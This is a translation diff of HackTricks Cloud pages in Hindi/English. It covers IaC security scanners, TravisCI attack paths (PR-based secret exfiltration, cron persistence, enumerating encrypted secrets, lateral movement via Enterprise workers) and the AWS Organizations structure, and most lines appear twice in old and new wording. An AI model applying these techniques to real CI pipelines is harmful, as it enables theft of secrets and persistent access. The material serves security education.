यह [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), या [OpenTofu](https://opentofu.org/) का उपयोग करके provisioned cloud infrastructure को scan करता है और graph-based scanning का उपयोग करके security और compliance misconfigurations को detect करता है।
यह [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) करता है, जो open source packages और images में Common Vulnerabilities and Exposures (CVEs) के लिए एक scan है।
यह [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) perform करता है, जो Common Vulnerabilities and Exposures (CVEs) के लिए open source packages और images का scan है।
```bash
pip install checkov
checkov -d /path/to/folder
```
### [terraform-compliance](https://github.com/terraform-compliance/cli)
From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` एक हल्का, सुरक्षा और अनुपालन-केंद्रित टेस्ट फ्रेमवर्क है जो terraform के लिए infrastructure-as-code में negative testing की क्षमता प्रदान करता है
[**docs**](https://github.com/terraform-compliance/cli) के अनुसार: `terraform-compliance` एक lightweight, security और compliance-focused test framework है जो terraform के against काम करता है ताकि आपकी infrastructure-as-code के लिए negative testing capability enable हो सके
- **compliance:** सुनिश्चित करें कि लागू कोड सुरक्षा मानकों और आपके स्वयं के कस्टम मानकों का पालन कर रहा है
- **behaviour driven development:** हमारे पास लगभग हर चीज़ के लिए BDD है, IaC के लिए क्यों नहीं?
- **portable:** बस इसे `pip` से इंस्टॉल करें या `docker` के जरिए चलाएँ। See [Installation](https://terraform-compliance.com/pages/installation/)
- **pre-deploy:** यह आपके कोड को डिप्लॉय होने से पहले वैलिडेट करता है
- **easy to integrate:** यह आपके pipeline (या git hooks में) चल सकता है ताकि सभी deployments वैलिडेट हों।
- **segregation of duty:** आप अपने टेस्ट एक अलग repository में रख सकते हैं जहाँ एक अलग टीम ज़िम्मेदार होगी
- **compliance:** सुनिश्चित करें कि implemented code security standards और आपके अपने custom standards का पालन कर रहा है
- **behaviour driven development:** हमारे पास लगभग हर चीज़ के लिए BDD है, तो IaC के लिए क्यों नहीं ?
- **portable:** बस इसे `pip` से install करें या `docker` के जरिए run करें। [Installation](https://terraform-compliance.com/pages/installation/) देखें
- **pre-deploy:** यह आपके code को deploy होने से पहले validate करता है
- **easy to integrate:** यह आपके pipeline में (या git hooks में) run हो सकता है ताकि सभी deployments validated रहें।
- **segregation of duty:** आप अपने tests को एक अलग repository में रख सकते हैं जहाँ एक separate team responsible हो।
> [!NOTE]
> दुर्भाग्यवश अगर कोड किसी ऐसे providers का उपयोग कर रहा है जिनक आपको एक्सेस नहीं है, तो आप `terraform plan` नहीं चला पाएगे और इस टूल को रन नहीं कर पाएगे।
> Unfortunately अगर code कुछ providers का use कर रहा है जिनक आपकी access नहीं है, तो आप `terraform plan` perform नहीं कर पाएगे और इस tool को run नहीं कर पाएगे।
```bash
pip install terraform-compliance
terraform plan -out=plan.out
@@ -348,57 +349,57 @@ terraform-compliance -f /path/to/folder
```
### [tfsec](https://github.com/aquasecurity/tfsec)
From the [**docs**](https://github.com/aquasecurity/tfsec): tfsec आपके terraform कोड का static analysis करके संभावित misconfigurations का पता लगाता है।
[**docs**](https://github.com/aquasecurity/tfsec) से: tfsec संभावित misconfigurations को पहचानने के लिए आपके terraform code का static analysis करता है।
- ☁️ सभी प्रमुख (और कुछ छोटे) क्लाउड प्रदाताओं में गलत कॉन्फ़िगरेशन के लिए चेक करता है
-सैकड़ों अंतर्निर्मित नियम
- 🪆 modules (local और remote) को स्कैन करता है
- HCL expressions के साथ-साथ literal values का मूल्यांकन करता है
- ☁️ सभी major (और कुछ minor) cloud providers में misconfigurations की जाँच करता है
-built-in rules की सैकड़ों संख्या
- 🪆 modules को scan करता है (local और remote)
- HCL expressions के साथ-साथ literal values का भी मूल्यांकन करता है
- ↪️ Terraform functions जैसे `concat()` का मूल्यांकन करता है
- 🔗 Terraform resources के बीच संबंधों का मूल्यांकन करता है
- 🧰 Terraform CDK के साथ संगत है
- 🙅 user-defined Rego policies को लागू (और बेहतर बनाता है)
- 📃 कई output formats का समर्थन करता है: lovely (default), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif.
- 🛠️ कॉन्फ़िगर करने योग्य (CLI flags और/या config file के माध्यम से)
- ⚡ बहुत तेज़, बड़े repositories को जल्दी स्कैन करने में सक्षम
- 🔗 Terraform resources के बीच relationships का मूल्यांकन करता है
- 🧰 Terraform CDK के साथ compatible
- 🙅 user-defined Rego policies को लागू करता है (और embellishes करता है)
- 📃 multiple output formats support करता है: lovely (default), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif.
- 🛠️ configurable (CLI flags और/या config file के माध्यम से)
- ⚡ बहुत तेज़, बड़े repositories को जल्दी scan करने में सक्षम
```bash
brew install tfsec
tfsec /path/to/folder
```
### [terrascan](https://github.com/tenable/terrascan)
Terrascan Infrastructure as Code के लिए एक स्टैटिक कोड विश्लेषक है। Terrascan आपको निम्न करने की अनुमति देता है:
Terrascan Infrastructure as Code के लिए एक static code analyzer है। Terrascan आपको ये करने देता है:
- Infrastructure as Code में misconfigurations को सहजता से स्कैन करना।
- प्रोविजन किए गए क्लाउड इंफ्रास्ट्रक्चर में उन configuration बदलावों की मॉनिटरिंग करना जो posture drift पैदा करते हैं, और secure posture पर वापस लौटने में सक्षम बनाना।
- सुरक्षा कमजोरियों और compliance उल्लंघनों का पता लगाना।
- क्लाउड-नेटिव इंफ्रास्ट्रक्चर को provision करने से पहले जोखिमों को कम करना।
- लोकल रूप से चलाने या अपने CI\CD के साथ इंटीग्रेट करने की लचीलापन प्रदान करना
- Infrastructure as code को misconfigurations के लिए seamlessly scan करना।
- Provisioned cloud infrastructure को configuration changes के लिए monitor करना जो posture drift introduce करते हैं, और secure posture पर revert करने में सक्षम बनाना।
- Security vulnerabilities और compliance violations detect करना।
- Cloud native infrastructure provision करने से पहले risks mitigate करना।
- Local रूप से run करने या अपने CI\CD के साथ integrate करने की flexibility प्रदान करता है
```bash
brew install terrascan
terrascan scan -d /path/to/folder
```
### [KICKS](https://github.com/Checkmarx/kics)
अपने infrastructure-as-code के विकास चक्र के शुरुआती चरणों में Checkmarx के **KICS** के साथ सुरक्षा कमजोरियाँ, अनुपालन समस्याएँ और इन्फ्रास्ट्रक्चर के गलत कॉन्फ़िगरेशन खोजें
अपने infrastructure-as-code के development cycle में जल्दी security vulnerabilities, compliance issues, और infrastructure misconfigurations खोजें **KICS** by Checkmarx के साथ
**KICS** stands for **K**eeping **I**nfrastructure as **C**ode **S**ecure यह open source है और किसी भी cloud native परियोजना के लिए एक आवश्यक उपकरण है।
**KICS** का मतलब है **K**eeping **I**nfrastructure as **C**ode **S**ecure, यह open source है और किसी भी cloud native project के लिए must-have है।
```bash
docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
```
### [Terrascan](https://github.com/tenable/terrascan)
[**docs**](https://github.com/tenable/terrascan) के अनुसार: Terrascan Infrastructure as Code के लिए एक static code analyzer है। Terrascan आपको निम्न करने की अनुमति देता है:
From the [**docs**](https://github.com/tenable/terrascan): Terrascan Infrastructure as Code के लिए एक static code analyzer है। Terrascan आपको यह करने देता है:
- गलत कॉन्फ़िगरेशन के लिए infrastructure as code को सहजता से scan करें।
- provisioned cloud infrastructure में ऐसे कॉन्फ़िगरेशन परिवर्तनों की निगरानी करें जो posture drift उत्पन्न करते हं, और secure posture पर वापस लौटने में सक्षम बनं।
- सुरक्षा कमजोरियों और अनुपालन उल्लंघनों का पता लगाएँ
- cloud native infrastructure provisioning से पहले जोखिम कम करें।
- स्थानीय रूप से चलाने या अपने CI\CD के साथ integrate करने की लचीलापन प्रदान करता है।
- infrastructure as code को misconfigurations के लिए seamlessly scan करें।
- provisioned cloud infrastructure में configuration changes को monitor करें जो posture drift introduce करते हं, और secure posture पर वापस revert करने में सक्षम बनाते हैं।
- security vulnerabilities और compliance violations detect करें
- cloud native infrastructure provisioning से पहले risks mitigate करें।
- locally run करने या अपने CI\CD के साथ integrate करने की flexibility offer करता है।
```bash
brew install terrascan
```
## संदर्भ
## References
- [Atlantis Security](atlantis-security.md)
- [https://alex.kaskaso.li/post/terraform-plan-rce](https://alex.kaskaso.li/post/terraform-plan-rce)
@@ -406,12 +407,12 @@ brew install terrascan
- [https://blog.plerion.com/hacking-terraform-state-privilege-escalation/](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/)
- [https://github.com/offensive-actions/terraform-provider-statefile-rce](https://github.com/offensive-actions/terraform-provider-statefile-rce)
- [Terraform Cloud token abuse turns speculative plan into remote code execution](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)
- [Terraform Cloud अनुमतियाँ](https://developer.hashicorp.com/terraform/cloud-docs/users-teams-organizations/permissions)
- [Terraform Cloud permissions](https://developer.hashicorp.com/terraform/cloud-docs/users-teams-organizations/permissions)
- [Terraform Cloud API Show workspace](https://developer.hashicorp.com/terraform/cloud-docs/api-docs/workspaces#show-workspace)
- [AWS प्रदाता कॉन्फ़िगरेशन](https://registry.terraform.io/providers/hashicorp/aws/latest/docs#provider-configuration)
- [AWS provider configuration](https://registry.terraform.io/providers/hashicorp/aws/latest/docs#provider-configuration)
- [AWS CLI OIDC role assumption](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html#cli-configure-role-oidc)
- [GCP provider Using Terraform Cloud](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference.html#using-terraform-cloud)
- [Terraform संवेदनशील वेरिएबल्स](https://developer.hashicorp.com/terraform/tutorials/configuration-language/sensitive-variables)
- [Snyk Labs Gitflops: Terraform automation platforms के खतरे](https://labs.snyk.io/resources/gitflops-dangers-of-terraform-automation-platforms/)
- [Terraform Sensitive variables](https://developer.hashicorp.com/terraform/tutorials/configuration-language/sensitive-variables)
- [Snyk Labs Gitflops: dangers of Terraform automation platforms](https://labs.snyk.io/resources/gitflops-dangers-of-terraform-automation-platforms/)
{{#include ../banners/hacktricks-training.md}}
@@ -1,63 +1,63 @@
# TravisCI सुरक्षा
# TravisCI Security
{{#include ../../banners/hacktricks-training.md}}
## TravisCI क्या है
**Travis CI** एक **होस्टेड** या **स्थानीय** **निरंतर एकीकरण** सेवा है जिसका उपयोग विभिन्न **गिट प्लेटफार्मों** पर होस्ट किए गए सॉफ़्टवेयर प्रोजेक्ट्स को बनाने और परीक्षण करने के लिए किया जाता है।
**Travis CI** एक **hosted** या **on premises** **continuous integration** service है, जिसका उपयोग कई **different git platform** पर hosted software projects को build और test करने के लिए किया जाता है।
{{#ref}}
basic-travisci-information.md
{{#endref}}
## हमले
## Attacks
### ट्रिगर्स
### Triggers
हमला शुरू करने के लिए आपको पहले यह जानना होगा कि निर्माण को कैसे ट्रिगर किया जाए। डिफ़ॉल्ट रूप से, TravisCI **पुश और पुल अनुरोधों पर निर्माण को ट्रिगर करेगा**:
Attack launch करने के लिए आपको पहले यह जानना होगा कि build कैसे trigger करना है। Default रूप से TravisCI **pushes और pull requests** पर **build trigger** करेगा:
![](<../../images/image (145).png>)
![Travis CI trigger settings with build pushed branches and build pushed pull requests enabled](<../../images/image (145).png>)
#### क्रोन जॉब्स
#### Cron Jobs
यदि आपके पास वेब एप्लिकेशन तक पहुंच है, तो आप **निर्माण चलाने के लिए क्रोन सेट कर सकते हैं**, यह स्थिरता के लिए या निर्माण को ट्रिगर करने के लिए उपयोगी हो सकता है:
अगर आपके पास web application का access है, तो आप **build चलाने के लिए crons set** कर सकते हैं, यह persistence के लिए या build trigger करने के लिए useful हो सकता है:
![](<../../images/image (243).png>)
![Travis CI cron job settings with branch, interval, options, and add button](<../../images/image (243).png>)
> [!NOTE]
> ऐसा लगता है कि `.travis.yml` के अंदर क्रोन सेट करना संभव नहीं है [इस](https://github.com/travis-ci/travis-ci/issues/9162) के अनुसार।
> ऐसा लगता है कि [this](https://github.com/travis-ci/travis-ci/issues/9162) के अनुसार `.travis.yml` के अंदर crons set करना possible नहीं है
### थर्ड पार्टी PR
### Third Party PR
डिफ़ॉल्ट रूप से, TravisCI थर्ड पार्टी से आने वाले PRs के साथ env वेरिएबल साझा करने को अक्षम करता है, लेकिन कोई इसे सक्षम कर सकता है और फिर आप रेपो में PR बना सकते हैं और रहस्यों को एक्सफिल्ट्रेट कर सकते हैं:
TravisCI by default third parties से आने वाले PRs के साथ env variables sharing disable करता है, लेकिन कोई इसे enable कर सकता है और फिर आप repo के लिए PRs बना सकते हैं और secrets exfiltrate कर सकते हैं:
![](<../../images/image (208).png>)
![Travis CI pull request security setting for sharing encrypted environment variables with forks](<../../images/image (208).png>)
### रहस्यों का डंपिंग
### Dumping Secrets
जैसा कि [**बुनियादी जानकारी**](basic-travisci-information.md) पृष्ठ में बताया गया है, रहस्यों के 2 प्रकार होते हैं। **पर्यावरण वेरिएबल रहस्य** (जो वेब पृष्ठ में सूचीबद्ध हैं) और **कस्टम एन्क्रिप्टेड रहस्य**, जो `.travis.yml` फ़ाइल के अंदर base64 के रूप में संग्रहीत होते हैं (ध्यान दें कि दोनों एन्क्रिप्टेड के रूप में संग्रहीत होने पर अंतिम मशीनों में env वेरिएबल के रूप में समाप्त होंगे)।
[**basic information**](basic-travisci-information.md) page में बताया गया है कि secrets के 2 types होते हैं। **Environment Variables secrets** (जो web page पर listed होते हैं) और **custom encrypted secrets**, जो `.travis.yml` file के अंदर base64 के रूप में stored होते हैं (ध्यान दें कि दोनों encrypted रूप में stored होने पर final machines में env variables के रूप में end होंगे)।
- **पर्यावरण वेरिएबल** के रूप में कॉन्फ़िगर किए गए **रहस्यों की गणना** करने के लिए **प्रोजेक्ट** की **सेटिंग्स** पर जाए और सूची की जांच करें। हालाकि, ध्यान दें कि यहाँ सेट किए गए सभी प्रोजेक्ट env वेरिएबल निर्माण को ट्रिगर करते समय दिखाई देंगे।
- **कस्टम एन्क्रिप्टेड रहस्यों** की गणना करने के लिए, सबसे अच्छा आप कर सकते हैं वह है **`.travis.yml` फ़ाइल की जांच करना**
- **एन्क्रिप्टेड फ़ाइलों** की गणना करने के लिए, आप रेपो में **`.enc` फ़ाइलों** के लिए देख सकते हैं, कॉन्फ़िगरेशन फ़ाइल में `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` जैसी पंक्तियों के लिए, या **पर्यावरण वेरिएबल** में **एन्क्रिप्टेड iv और कुंजी** के लिए जैसे:
- **Environment Variables** के रूप में configured secrets enumerate करने के लिए **project** की **settings** में जाए और list check करें। हालाकि, ध्यान दें कि यहाँ set किए गए सभी project env variables build trigger होने पर दिखाई देंगे।
- **custom encrypted secrets** enumerate करने के लिए सबसे अच्छा तरीका है **`.travis.yml` file** check करना।
- **encrypted files** enumerate करने के लिए आप repo में **`.enc` files** देख सकते हैं, config file में ऐसी lines के लिए जैसे `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d`, या **Environment Variables** में **encrypted iv और keys** के लिए, जैसे:
![](<../../images/image (81).png>)
![Travis CI environment variables page showing encrypted file IV and key variable names](<../../images/image (81).png>)
### TODO:
- Windows/Mac/Linux पर रिवर्स शेल चलाने के साथ उदाहरण निर्माण
- लॉग में बेस64 एन्कोडेड env लीक करने के साथ उदाहरण निर्माण
- Windows/Mac/Linux पर running reverse shell के साथ example build
- logs में env base64 encoded leak करने वाला example build
### TravisCI एंटरप्राइज
### TravisCI Enterprise
यदि एक हमलावर एक ऐसे वातावरण में समाप्त होता है जो **TravisCI एंटरप्राइज** का उपयोग करता है (इस बारे में अधिक जानकारी [**बुनियादी जानकारी**](basic-travisci-information.md#travisci-enterprise) में है), तो वह **वर्कर में निर्माण को ट्रिगर करने में सक्षम होगा।** इसका मतलब है कि एक हमलावर उस सर्वर पर पार्श्व रूप से स्थानांतरित करने में सक्षम होगा जिससे वह:
अगर attacker किसी ऐसे environment में पहुँच जाता है जो **TravisCI enterprise** use करता है (**basic information**](basic-travisci-information.md#travisci-enterprise) में इसके बारे में और जानकारी है), तो वह **Worker** में builds trigger कर सकेगा। इसका मतलब है कि attacker उस server पर laterally move कर सकेगा, जिससे वह यह कर सकता है:
- मेज़बान पर भाग सकता है?
- कुबेरनेट्स से समझौता कर सकता है?
- उसी नेटवर्क में चल रही अन्य मशीनों से समझौता कर सकता है?
- नए क्लाउड क्रेडेंशियल्स से समझौता कर सकता है?
- host से escape?
- kubernetes compromise?
- same network में चल रही अन्य machines compromise?
- new cloud credentials compromise?
## संदर्भ
## References
- [https://docs.travis-ci.com/user/encrypting-files/](https://docs.travis-ci.com/user/encrypting-files/)
- [https://docs.travis-ci.com/user/best-practices-security](https://docs.travis-ci.com/user/best-practices-security)
@@ -4,42 +4,42 @@
## Access
TravisCI सीधे विभिन्न git प्लेटफार्मों जैसे Github, Bitbucket, Assembla, और Gitlab के साथ एकीकृत होता है। यह उपयोगकर्ता से TravisCI को उन रिपोजिटरीज़ तक पहुँचने की अनुमति देने के लिए कहेगा जिन्हें वह TravisCI के साथ एकीकृत करना चाहता है।
TravisCI सीधे अलग-अलग git platforms जैसे Github, Bitbucket, Assembla, और Gitlab के साथ integrate करता है। यह user से TravisCI को उन repos तक access देने के लिए permissions देने क कहेगा जिन्हें वह TravisCI के साथ integrate करना चाहता है।
उदाहरण के लिए, Github में यह निम्नलिखित अनुमतियों के लिए पूछेगा:
उदाहरण के लिए, Github में यह निम्न permissions मांगेगा:
- `user:email` (पढ़ने के लिए केवल)
- `read:org` (पढ़ने के लिए केवल)
- `repo`: सार्वजनिक और निजी रिपोजिटरीज़ और संगठनों के लिए कोड, कमिट स्थिति, सहयोगियों, और तैनाती की स्थिति तक पढ़ने और लिखने की पहुँच प्रदान करता है।
- `user:email` (read-only)
- `read:org` (read-only)
- `repo`: public और private repositories तथा organizations के लिए code, commit statuses, collaborators, और deployment statuses पर read और write access देता है।
## Encrypted Secrets
### Environment Variables
TravisCI में, अन्य CI प्लेटफार्मों की तरह, यह संभव हैि **रिपो स्तर पर रहस्यों को सुरक्षित करें** जो एन्क्रिप्टेड रूप में सुरक्षित कि जाएंगे और **निर्माण को निष्पादित करने वाली मशीन के वातावरण चर में डिक्रिप्ट और पुश कि जाएंगे**
TravisCI में, जैसे अन्य CI platforms में, repo level secrets **save** करना संभव है जिन्हें encrypted रूप में **save** किया जाएगा और build execute करने वाली machine के environment variable में **decrypt** करके push किया जाएगा
![](<../../images/image (203).png>)
![Travis CI environment variables settings with a masked SUPERSECRET value and branch selector](<../../images/image (203).png>)
यह संभव है कि **उन शाखाओं को इंगित करें जिनमें रहस्य उपलब्ध होंगे** (डिफ़ॉल्ट रूप से सभी) और यह भी कि क्या TravisCI **सके मान को छिपाना चाहिए** यदि यह **लॉग में दिखाई देता है** (डिफ़ॉल्ट रूप से यह करेगा)।
यह संभव है कि **किन branches पर secrets उपलब्ध होंगे** यह बताया जाए (default रूप से सभी) और यह भी कि यदि TravisCI **सका value छिपाना चाहिए** अगर वह **logs में** दिखाई दे (default रूप से यह ऐसा करेगा)।
### Custom Encrypted Secrets
**प्रत्येक रिपो** के लिए TravisCI एक **RSA की जोड़ी** उत्पन्न करता है, **निजी** को **रखता है**, और रिपोजिटरी की **सार्वजनिक कुंजी** उन लोगों के लिए उपलब्ध कराता है जिनके पास **रिपोजिटरी** तक **पहुँच** है।
हर **repo** के लिए TravisCI एक **RSA keypair** generate करता है, **private** key को **keeps** करता है, और repository की **public key** उन लोगों के लिए उपलब्ध कराता है जिनके पास repository का **access** है।
आप एक रिपो की सार्वजनिक कुंजी तक पहुँच सकते हैं:
आप एक repo की public key को इस तरह access कर सकते हैं:
```
travis pubkey -r <owner>/<repo_name>
travis pubkey -r carlospolop/t-ci-test
```
फिर, आप इस सेटअप का उपयोग करके **गुप्त को एन्क्रिप्ट कर सकते हैं और उन्हें अपन `.travis.yaml` में जोड़ सकते हैं**। गुप्त को **बिल्ड चलने पर डिक्रिप्ट किया जाएगा** और **पर्यावरण चर** में उपलब्ध होगा
Then, आप इस setup का उपयोग **secrets को encrypt करने और उन्हें अपन `.travis.yaml` में जोड़ने** के लिए कर सकते हैं। ये secrets **build चलने पर decrypt** हो जाएंगे और **environment variables** में उपलब्ध होंगे
![](<../../images/image (139).png>)
![Terminal output from travis encrypt adding a secure value to the .travis.yml file](<../../images/image (139).png>)
ध्यान दें कि इस तरीके से एन्क्रिप्ट किए गए गुप्त सेटिंग्स के पर्यावरण चर में सूचीबद्ध नहीं होंगे।
ध्यान दें कि इस तरह encrypted secrets settings की environmental variables सूची में दिखाई नहीं देंगे।
### कस्टम एन्क्रिप्टेड फ़ाइलें
### Custom Encrypted Files
हले की तरह, TravisCI भी **फ़ाइलों को एन्क्रिप्ट करने और फिर बिल्ड के दौरान उन्हें डिक्रिप्ट करने** की अनुमति देता है:
िछले तरीके की तरह, TravisCI **files को encrypt करने और फिर build के दौरान उन्हें decrypt करने** की भी अनुमति देता है:
```
travis encrypt-file super_secret.txt -r carlospolop/t-ci-test
@@ -57,32 +57,32 @@ Make sure to add super_secret.txt.enc to the git repository.
Make sure not to add super_secret.txt to the git repository.
Commit all changes to your .travis.yml.
```
ध्यान दें कि जब एक फ़ाइल को एन्क्रिप्ट किया जाता है, तो 2 Env Variables को रिपॉजिटरी के अंदर कॉन्फ़िगर किया जाएगा जैसे:
Note that when encrypting a file 2 Env Variables will be configured inside the repo such as:
![](<../../images/image (170).png>)
![Travis CI environment variables page showing encrypted file IV and key variable names](<../../images/image (170).png>)
## TravisCI Enterprise
Travis CI Enterprise एक **on-prem संस्करण है Travis CI का**, जिसे आप **अपने बुनियादी ढांचे में तैनात कर सकते हैं**। इसे Travis CI के 'सर्वर' संस्करण के रूप में सोचें। Travis CI का उपयोग करने से आपको एक सान-से-उपयोग करने योग्य Continuous Integration/Continuous Deployment (CI/CD) प्रणाली को एक वातावरण में सक्षम करने की अनुमति मिलती है, जिसे आप अपनी इच्छानुसार कॉन्फ़िगर और सुरक्षित कर सकते हैं।
Travis CI Enterprise एक **on-prem version of Travis CI** है, जिसे आप **अपने infrastructure** में deploy कर सकते हैं। इसे Travis CI के server version की तरह समझें। Travis CI का उपयोग करे आप एक सा environment में आसान Continuous Integration/Continuous Deployment (CI/CD) system enable कर सकते है, जिसे आप अपनी जरूरत के अनुसार configure और secure कर सकते हैं।
**Travis CI Enterprise दो प्रमुख भागों में बाँटा गया है:**
**Travis CI Enterprise के दो मुख्य भाग होते है:**
1. TCI **सेवाएँ** (या TCI कोर सेवाएँ), जो संस्करण नियंत्रण प्रणालियों के साथ एकीकरण, निर्माणों को अधिकृत करना, निर्माण कार्यों को शेड्यूल करना आदि के लिए जिम्मेदार हैं।
2. TCI **कार्यकर्ता** और निर्माण वातावरण छवियाँ (जिन्हें OS छवियाँ भी कहा जाता है)।
1. TCI **services** (या TCI Core Services), जो version control systems के साथ integration, builds को authorize करना, build jobs को schedule करना, आदि के लिए जिम्मेदार हैं।
2. TCI **Worker** और build environment images (जिन्हें OS images भी कहा जाता है)।
**TCI कोर सेवाओं के लिए निम्नलिखित की आवश्यकता होती है:**
**TCI Core services के लिए निम्नलिखित आवश्यक है:**
1. एक **PostgreSQL11** (या बाद का) डेटाबेस
2. एक बुनियादी ढांचा जिसमें एक Kubernetes क्लस्टर तैनात किया जा सके; इसे एक सर्वर क्लस्टर में या यदि आवश्यक हो तो एकल मशीन में तैनात किया जा सकता है
3. आपकी सेटअप के आधार पर, आप कुछ घटकों को अपने आप तैनात और कॉन्फ़िगर करना चाह सकते हैं, जैसे कि RabbitMQ - अधिक विवरण के लिए [Travis CI Enterprise सेटअप करना](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) देखें।
1. एक **PostgreSQL11** (या बाद का) database
2. Kubernetes cluster deploy करने के लिए एक infrastructure; इसे server cluster में या आवश्यकता होने पर single machine पर भी deploy किया जा सकता है
3. आपकी setup के अनुसार, आप कुछ components को अपने आप deploy और configure करना चाह सकते हैं, जैसे RabbitMQ - अधिक जानकारी के लिए [Setting up Travis CI Enterprise](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) देखें।
**TCI कार्यकर्ता के लिए निम्नलिखित की आवश्यकता होती है:**
**TCI Worker के लिए निम्नलिखित आवश्यक है:**
1. एक बुनियादी ढांचा जहाँ एक डॉकर छवि जिसमें **कार्यकर्ता और एक लिंक की गई निर्माण छवि तैनात की जा सके**
2. कुछ Travis CI कोर सेवाओं के घटकों से कनेक्टिविटी - अधिक विवरण के लिए [कार्यकर्ता सेटअप करना](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) देखें।
1. ऐसा infrastructure जहाँ **Worker और linked build image वाला docker image deploy किया जा सके**
2. कुछ Travis CI Core Services components से connectivity - अधिक जानकारी के लिए [Setting Up Worker](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) देखें।
तैनात किए गए TCI कार्यकर्ता और निर्माण वातावरण OS छवियों की मात्रा आपके बुनियादी ढांचे में Travis CI Enterprise तैनाती की कुल समवर्ती क्षमता को निर्धारित करेगी।
Deployed TCI Worker और build environment OS images की मात्रा Travis CI Enterprise deployment की कुल concurrent capacity को आपके infrastructure में निर्धारित करेगी।
![](<../../images/image (199).png>)
![Travis CI Enterprise architecture diagram with core services, database, workers, and build environments](<../../images/image (199).png>)
{{#include ../../banners/hacktricks-training.md}}
@@ -4,188 +4,188 @@
## Organization Hierarchy
![](<../../../images/image (151).png>)
![AWS Organizations hierarchy diagram with organization root, organizational units, member accounts, policies, and users](<../../../images/image (151).png>)
### Accounts
AWS में, एक **root account** है, जो आपक **organization** के सभी खातों के लिए **parent container** है। हालाकि, आपको संसाधनों को तैनात करने के लिए उस खाते का उपयोग करने की आवश्यकता नहीं है, आप **अलग-अलग AWS** बुनियादी ढाँचे के बीच अलग रने के लिए **अन्य खाते बना सकते हैं**
AWS में, एक **root account**ोता है, जो आपक **organization** के सभी accounts के लिए **parent container** है। हालाकि, resources deploy करने के लिए आपको उस account का use करने की जरूरत नहीं होती; आप अलग-अलग AWS infrastructures को अलग रने के लिए **other accounts** बना सकते हैं।
यह **सुरक्षा** के दृष्टिकोण से बहुत दिलचस्प है, क्योंकि **एक खाता अन्य खाते के संसाधनों तक पहुँच नहीं पाएगा** (जब तक कि पुल विशेष रूप से बनाए नहीं गए हं), इसलिए इस तरह आप तैनातियों के बीच सीमाएँ बना सकते हैं।
यह **security** के point of view से बहुत interesting है, क्योंकि **एक account दूसरे account के resources access नहीं कर पाएगा** (जब तक कि specifically bridges create न किए गए हं), इसलिए इस तरह आप deployments के बीच boundaries बना सकते हैं।
इसलिए, एक संगठन में **दो प्रकार के खाते** होते हैं (हम AWS खातों की बात कर रहे हैं, उपयोगकर्ता खातों की नहीं): एकल खाता जिसे प्रबंधन खाता के रूप में नामित किया गया है, और एक या अधिक सदस्य खाते
इसलिए, एक organization में **दो types of accounts** होते हैं (यहाँ हम AWS accounts की बात कर रहे हैं, User accounts की नहीं): एक single account जो management account के रूप में designated होता है, और एक या अधिक member accounts
- **प्रबंधन खाता (root account)** वह खाता है जिसका उपयोग आप संगठन बनाने के लिए करते हैं। संगठन के प्रबंधन खाते से, आप निम्नलिखित कर सकते हैं:
- **management account (root account)** वह account है जिसका use आप organization create करने के लिए करते हैं। Organization के management account से आप यह कर सकते हैं:
- संगठन में खाते बनाना
- संगठन में अन्य मौजूदा खातों को आमंत्रित करना
- संगठन से खातों को हटाना
- आमंत्रणों का प्रबंधन करना
- संगठन के भीतर संस्थाओं (roots, OUs, या खातों) पर नीतियाँ लागू करना
- संगठन में सभी खातों के बीच सेवा कार्यक्षमता प्रदान करने के लिए समर्थित AWS सेवाओं के साथ एकीकरण सक्षम करना
- आप इस root account/organization को बनाने के लिए उपयोग किए गए ईमेल और पासवर्ड का उपयोग करके root उपयोगकर्ता के रूप में लॉगिन करना संभव है
- organization में accounts create करना
- अन्य existing accounts को organization में invite करना
- organization से accounts remove करना
- invitations manage करना
- organization के भीतर entities (roots, OUs, या accounts) पर policies apply करना
- supported AWS services के साथ integration enable करना ताकि organization के सभी accounts में service functionality provide की जा सके
- email और password का use करके root user के रूप में login करना संभव है, जिनका use इस root account/organization को create करने के लिए किया गया था
प्रबंधन खाते के पास **payer account** की जिम्मेदारियाँ होती हैं और यह सदस्य खातों द्वारा उत्पन्न सभी शुल्कों का भुगतान करने के लिए जिम्मेदार होता है। आप एक संगठन के प्रबंधन खाते को बदल नहीं सकते।
